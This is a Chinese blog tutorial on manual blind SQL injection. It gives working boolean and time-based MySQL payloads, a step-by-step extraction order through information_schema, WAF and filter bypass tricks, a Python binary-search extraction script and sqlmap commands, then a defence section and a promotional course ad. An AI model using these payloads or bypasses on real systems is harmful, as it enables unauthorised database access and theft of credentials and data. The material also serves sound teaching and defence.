news 2026/10/1 7:01:17

盲注实战思路:没有回显如何一步步拿到数据

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
盲注实战思路:没有回显如何一步步拿到数据

盲注实战思路:没有回显如何一步步拿到数据

免责声明:本文内容仅用于授权靶场学习、代码审计、安全研究,严禁对任何未授权网站进行 SQL 注入探测、数据读取操作。任何未经授权的渗透测试行为均属于违法行为,相关后果由行为人自行承担。

前言

SQL 注入分为显错注入、联合查询注入、盲注。很多同学刚学注入的时候,习惯依赖页面直接返回数据库查询结果,一旦页面没有数据回显、没有报错信息,就无从下手。这就是盲注场景。

盲注的核心特征:无论 SQL 语句执行成功还是失败,前端页面返回内容几乎没有变化,不会直接展示查询数据,也不会输出数据库报错信息。
页面只会返回两种状态:页面正常 / 页面异常、页面延时加载、响应长度差异。我们只能通过这些间接特征,一点点猜解数据库里面的数据。

盲注分为三大类:

  1. 布尔盲注:SQL 条件真假,页面返回内容不同(正常页面 / 空白 / 提示错误)
  2. 时间盲注:利用sleep()、benchmark()函数,根据响应时间判断语句是否执行成功
  3. 报错盲注:页面不回显查询内容,但会输出数据库报错(属于半盲注,本文重点讲解布尔 + 时间盲注实战思路)

很多新手最大误区:

  • 认为盲注只能靠工具跑,手工盲注没有意义;
  • 上来直接猜表名字段,不先获取基础信息;
  • 分不清布尔盲注和时间盲注适用场景,盲目使用 sleep 导致 WAF 拦截;
  • 忽略过滤函数,payload 直接被拦截,不知道绕过多层过滤。

本文脱离工具,从手工实战视角,完整梳理盲注整套挖掘思路、判断方法、猜解流程、常见过滤绕过与踩坑复盘,带你理解:没有回显,怎么一点点把数据 “猜” 出来。

一、盲注基础原理:核心是 “二分法猜字符”

普通联合注入:union select 1,2,version(),直接把查询结果拼到页面输出。
盲注不能直接拿结果,只能构造判断语句,判断条件是否成立。

核心思想:截取字符串的某一位字符,判断它是否大于 / 小于 / 等于某个 ASCII 码,不断缩小范围,最终确定字符。

用到的核心函数(MySQL)

  1. substr(str, pos, len):截取字符串,pos 从 1 开始;
  2. mid():和 substr 功能一致;
  3. ascii():将字符转为 ASCII 码,方便数值比较;
  4. sleep(n):延时 n 秒,时间盲注核心;
  5. if(condition, true_val, false_val):条件判断函数。

布尔盲注基础 payload 模板:

and ascii(substr((select database()),1,1))>100

含义:查询当前数据库名,截取第 1 个字符,转成 ASCII,判断是否大于 100。

  • 如果条件成立:页面返回正常
  • 如果条件不成立:页面返回异常 / 内容改变

时间盲注基础 payload 模板:

and if(ascii(substr((select database()),1,1))>100,sleep(3),1)

含义:如果条件成立,执行 sleep (3),请求响应延迟 3 秒;条件不成立,直接返回。我们看响应时间判断真假。

为什么要用 ASCII 码比较?
直接比较字符会受到大小写、编码、特殊符号干扰;转为数字 ASCII,只需要数字大小比较,稳定性更高。

二、第一步:识别注入点,判断是否存在盲注

拿到一个参数,先判断注入类型,不要直接开始猜数据。
假设测试 URL:http://test.com/index.php?id=1

1. 基础单引号测试

payload:id=1'

  • 页面直接爆出数据库错误:报错注入,可以直接 extractvalue/updatexml 提取数据
  • 页面无报错,页面空白 / 跳转:大概率布尔盲注
  • 页面和原来完全一致:继续测试布尔条件

payload:

id=1' and 1=1 --+ id=1' and 1=2 --+

对比两个页面返回:

  • and 1=1页面正常,and 1=2页面内容变化(空白、提示不存在)→布尔盲注
  • 两次页面完全没有区别 → 布尔盲注不成立,尝试时间盲注测试

时间盲注测试 payload:

id=1' and sleep(3) --+

观察 HTTP 响应耗时:

  • 请求明显延迟 3 秒左右返回 → 存在时间盲注
  • 响应速度不变 → 注入点不存在,或者 sleep 函数被过滤

注意:很多网站有 WAF,sleep () 会被检测,后面会讲 benchmark 替代方案。

2. 区分数字型 / 字符型注入

数字型:id=1 and 1=1,不需要单引号闭合
字符型:id=1' and 1=1 --+,需要单引号闭合前面引号,–+ 注释后面剩余 SQL

3. 确认注释符是否可用

MySQL 常用注释:--(减号减号空格)、#
部分环境--+无法识别,可以替换#。

坑点:URL 中 #会被浏览器当做锚点,不会传给后端,URL 编码%23代替 #。

三、完整手工盲注实战流程(布尔盲注为例)

整体顺序:数据库版本 → 当前数据库名 → 数据库中的表名 → 表中的字段名 → 字段里的数据
不要颠倒顺序,不能直接猜数据,必须一步一步获取元信息。

阶段 1:获取数据库版本

目标:select version()
payload 模板:

id=1' and ascii(substr((select version()),1,1))>50 --+

使用二分法缩小 ASCII 范围:
ASCII 数字范围:

  • 数字:48~57
  • 大写字母:65~90
  • 小写字母:97~122
  • 点.是 46

示例流程:

  1. 判断第一位字符 ascii>50 → 页面正常,条件成立;
  2. 判断第一位字符 ascii>60 → 页面异常,条件不成立;
    说明第一位 ASCII 在 50~60 之间,继续二分,不断缩小,最终确定字符。

依次遍历位置 pos=1,2,3… 直到判断到为空,结束版本猜解。

阶段 2:猜当前数据库名称

查询语句:select database()
payload:

id=1' and ascii(substr((select database()),1,1))>90 --+

同样循环 pos,逐个字符猜,直到字符串结束。

坑:数据库名、表名只包含小写字母、下划线,不会有空格。

阶段 3:猜数据库里所有表名

information_schema.tables 存储表信息。
查询指定数据库的第一张表:

select table_name from information_schema.tables where table_schema='库名' limit 0,1

对应的盲注 payload:

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+

limit 0,1 → 第 1 张表;limit 1,1 → 第 2 张表,依次递增,直到查询不到表,结束。

重点坑:information_schema 过滤。很多靶场会过滤 information_schema,这时候需要使用无 information_schema 盲注,后面单独讲解。

阶段 4:猜表内字段名

拿到表名后,读取字段,查询 information_schema.columns

select column_name from information_schema.columns where table_schema='库名' and table_name='users' limit 0,1

payload:

id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>100 --+

循环 limit,拿到所有字段名称,比如 id、username、password。

阶段 5:读取字段内数据(最终目标)

读取 users 表第一条 username 数据:

select username from security.users limit 0,1

payload:

id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>90 --+

循环 pos,逐字符猜解 username、password 内容;limit 递增读取每一行记录。

四、时间盲注实战思路,适用布尔盲注失效场景

当and 1=1和and 1=2页面完全没有差异,无法通过页面内容判断真假,就切换时间盲注。

核心函数if(条件, 执行sleep, 不执行)

id=1' and if(ascii(substr((select database()),1,1))>100,sleep(3),1)--+

发包观察响应时间:

  • 等待 3 秒左右返回 → 条件成立
  • 立刻返回 → 条件不成立

sleep 被过滤的替代方案

benchmark(次数, 表达式),重复执行表达式消耗 CPU,实现延时,避开 sleep 关键词过滤。

id=1' and if(ascii(substr((select database()),1,1))>100,benchmark(500000,md5('test')),1)--+

注意:benchmark 对服务器压力更大,实战不要设置过大次数,容易把服务器打卡顿,触发 WAF 告警。

时间盲注实战踩坑

  1. 网络延迟干扰:本地网络波动,会影响时间判断,多次发包取平均值;
  2. WAF 检测长时间请求,sleep>5 秒容易被拦截;推荐 sleep (2)~sleep (3);
  3. 并发请求、连接池会导致延时不准,尽量串行发包,不要多线程。

五、盲注高频过滤绕过方案(实战必看)

真实业务环境不会裸奔,经常过滤关键词select、substr、ascii、sleep、information_schema。下面是盲注场景最常用绕过思路。

1. substr/mid 被过滤 → 使用 left、right 截取

left(str,len)从左侧取 N 个字符
right(str,len)从右侧取 N 个字符

and ascii(left((select database()),1))>100

2. 空格被过滤

URL 注入中过滤空格,使用/**/、()代替空格

id=1'and/**/if(ascii(substr((select(database())),1,1))>100,sleep(2),1)--+

3. information_schema 被过滤(重点难点)

无法查表名,属于高阶盲注场景,没有 information_schema 不能直接查表。
思路:暴力猜表名。
已知数据库名,遍历可能的表名字符组合,用盲注判断select 1 from 表名是否不报错。
payload 示例:

id=1' and exists(select*from security.users) --+

如果页面正常,说明 users 表存在;页面异常,表不存在。
同理,拿到表名之后,暴力猜字段:

id=1' and exists(select username from security.users) --+

缺点:字典消耗大,适合表名字段短的场景。

4. select 被过滤

可以尝试大小写绕过、双写绕过selselectect,编码绕过;
如果完全禁止 select,盲注很难利用,注入基本失效。

六、二分法原理与优化技巧(提高手工盲注效率)

为什么要用二分法而不是从 1 开始一个个试?
ASCII 范围 0~127,如果顺序遍历,最多 127 次请求;二分法每次砍掉一半范围,最多 7 次就能锁定字符,极大减少发包数量,降低被 WAF 检测概率。

举个例子:猜字符 ASCII,初始区间 low=0, high=127

  1. mid=(0+127)/2=63,判断 > 63?
    • 成立:说明字符在 64~127,low=64
    • 不成立:字符 0~63,high=63
  2. 继续取中间值,不断迭代,直到 low==high,得到 ASCII 值。

实操建议:写简单 Python 脚本自动二分猜解,手工只用来验证漏洞,纯手工猜完整数据工作量巨大。下面提供极简布尔盲注脚本,仅用于本地靶场。

# 极简布尔盲注脚本,靶场学习使用 import requests url = "http://127.0.0.1/sqli.php" result = "" for pos in range(1,30): low = 0 high = 127 while low < high: mid = (low + high) // 2 payload = f"?id=1' and ascii(substr((select database()),{pos},1))>{mid} --+" res = requests.get(url+payload) if "正常页面标记" in res.text: low = mid + 1 else: high = mid if low == 0: break result += chr(low) print("当前结果:",result) print("最终数据库名:",result)

七、盲注漏洞挖掘的排查思路 & 常见坑点复盘

坑 1:页面缓存干扰

服务器 CDN、页面缓存,两次请求返回旧页面,导致布尔判断完全错乱。
对策:请求增加随机参数,?id=1&rand=随机数,绕过缓存。

坑 2:HTTP 状态码、重定向干扰

页面 302 跳转,不能依靠响应文本判断真假,需要看响应包 body 或者响应时间。

坑 3:limit 顺序问题,漏行

limit m,n,m 是偏移量,每读取一行,偏移量 + 1;很多新手忘记递增 limit,一直读取第一行数据。

坑 4:多行子查询没有括号

盲注子查询必须用括号包裹(select xxx),否则 SQL 语法错误,永远返回假。

坑 5:字符编码、中文数据盲注

中文是多字节,ascii () 只取第一个字节,不能直接猜中文。需要使用 hex () 把字符串转为十六进制,逐字符猜十六进制字符,这是中文盲注的标准方案。

and ascii(substr(hex((select username from users limit 0,1)),1,1))>50

hex 之后全部是 0-9,a-f,猜解完成再转回原始中文。

坑 6:过滤单引号,无法闭合

如果单引号'被 WAF 拦截,字符型盲注很难利用;数字型注入不受影响。

八、盲注工具使用的利弊

很多同学直接上 sqlmap 一键跑数据,但作为安全研究者,必须懂底层盲注原理:
✅ 工具优势:自动二分、自动多线程,快速拿数据,适合验证漏洞。
❌ 工具缺点:

  1. payload 特征明显,极易触发 WAF 拦截;
  2. 遇到过滤、特殊场景,工具容易直接失效;
  3. 只会跑工具,遇到无 information_schema、sleep 过滤场景无法继续深入。

实战建议:手工判断注入类型、测试过滤,确认存在盲注之后,再使用脚本 /sqlmap 进行数据导出。不要上来直接丢 sqlmap。

sqlmap 盲注常用参数参考(靶场使用)

# 布尔盲注 sqlmap -u "http://test.com/index.php?id=1" --technique B # 时间盲注 sqlmap -u "http://test.com/index.php?id=1" --technique T

九、防御方案:如何防止 SQL 盲注

盲注本质还是 SQL 注入,防御注入的核心手段可以完全抵御盲注。

  1. 预编译语句(参数化查询)
    使用 PDO、MyBatis 预编译,用户输入作为参数,不拼接 SQL 字符串,从根源杜绝注入,这是最优方案。
  2. 输入白名单校验
    对数字参数强制正则校验只能是数字;字符串参数限制长度、允许字符范围。
  3. 禁用数据库高危函数
    数据库层面禁用 sleep、benchmark、load_file 等危险函数;低权限数据库账号,禁止访问 information_schema。
  4. 统一页面返回,消除布尔差异
    业务上无论 SQL 执行成功失败,页面返回统一提示,消除页面内容差异,让布尔盲注无法判断真假;但只能增加盲注难度,不能根治注入。
  5. WAF 防护
    检测注入特征 payload,拦截 select、substr、sleep 等注入语句;限制单 IP 请求频率,防止盲注大量发包猜解。
  6. 最小权限原则
    业务数据库账号只分配必要表的查询、修改权限,不允许读取 information_schema 库。

重点提醒:只统一页面回显,属于缓解手段,不是修复。只要 SQL 语句可以拼接,时间盲注依然可以利用 sleep 延时进行猜解,根本解决办法一定是预编译。

十、总结

盲注的核心本质一句话:没有直接数据输出,通过条件判断 + 二分法,逐个字符猜取出查询结果。
整套固定实战流程:识别注入点 → 判断布尔 / 时间盲注 → 获取版本 → 库名 → 表名 → 字段 → 业务数据。

布尔盲注依靠页面内容差异判断真假;时间盲注依靠请求响应延迟判断真假。真实环境经常遇到关键词过滤,需要掌握 substr 替代、空格绕过、无 information_schema 查表、hex 处理中文等进阶技巧。

在漏洞挖掘过程中,遇到无回显页面不要直接放弃,优先测试布尔盲注,布尔失效再切换时间盲注;手工用来判断漏洞,脚本用来批量猜解。
同时记住,页面不显示报错,不代表不存在注入漏洞,盲注往往隐藏在看似 “安全” 的接口里面。防御层面,不要依靠屏蔽报错、修改页面回显当做注入修复,参数化预编译才是根治 SQL 注入的方案。


最后

关于网络安全技术储备

学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

对于0基础小白入门:

如果你是零基础小白,想快速入门网络安全是可以考虑的。

一方面是学习时间相对较短,学习内容更全面更集中。

二方面是可以找到适合自己的学习方案

包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!

需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/1 6:59:40

系统架构概述

本文是文章Microsoft Architecture Overview的翻译和阅读笔记。 这是2002年7月的文章&#xff0c;作者为Michael Platt。 本文档面向希望了解微软企业、应用和技术架构方法的业务、软件和基础设施架构师。它涵盖了架构术语、模式、概念和定义&#xff0c;以一系列架构视图或层…

作者头像 李华
网站建设 2026/10/1 6:59:39

Java+Swing+MySQL教务管理系统开发实战:从数据库设计到JTable联动

简介&#xff1a;JavaSwingMySQL三件套组合实现的学校教务管理系统&#xff0c;面向Java初学者、课程设计与期末大作业场景。项目涵盖学生信息管理、课程安排、成绩录入等核心模块&#xff0c;难度适中&#xff0c;适合学习者通过完整项目掌握Swing界面开发与MySQL数据库交互的…

作者头像 李华
网站建设 2026/10/1 6:59:02

线上问题复盘:不知不觉拖垮服务的文件句柄泄露

线上服务有一类问题特别隐蔽&#xff0c;不会直接宕机&#xff0c;不会瞬间报错&#xff0c;只会随着运行时间慢慢恶化。刚开始一切正常&#xff0c;跑几天或者一两周后&#xff0c;接口开始随机超时、请求失败、服务日志刷不出来&#xff0c;最后彻底拒绝新连接。 很多人遇到这…

作者头像 李华
网站建设 2026/10/1 6:58:29

Java实现 DWG 转 PDF 服务

手上有个需求&#xff0c;要把 CAD 图纸&#xff08;DWG&#xff09;转成 PDF 做归档&#xff0c;要求走接口调用、Docker 部署&#xff0c;端口还得能配。刚拿到需求的时候觉得这活儿不难&#xff0c;真做下来发现坑比想象中多&#xff0c;而且基本都出在 DWG 这个格式本身上。…

作者头像 李华
网站建设 2026/10/1 6:58:11

DEV 实战:ComboBoxEdit 与 barEditItem 配置 TaoToken 的 settings.json 骨架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华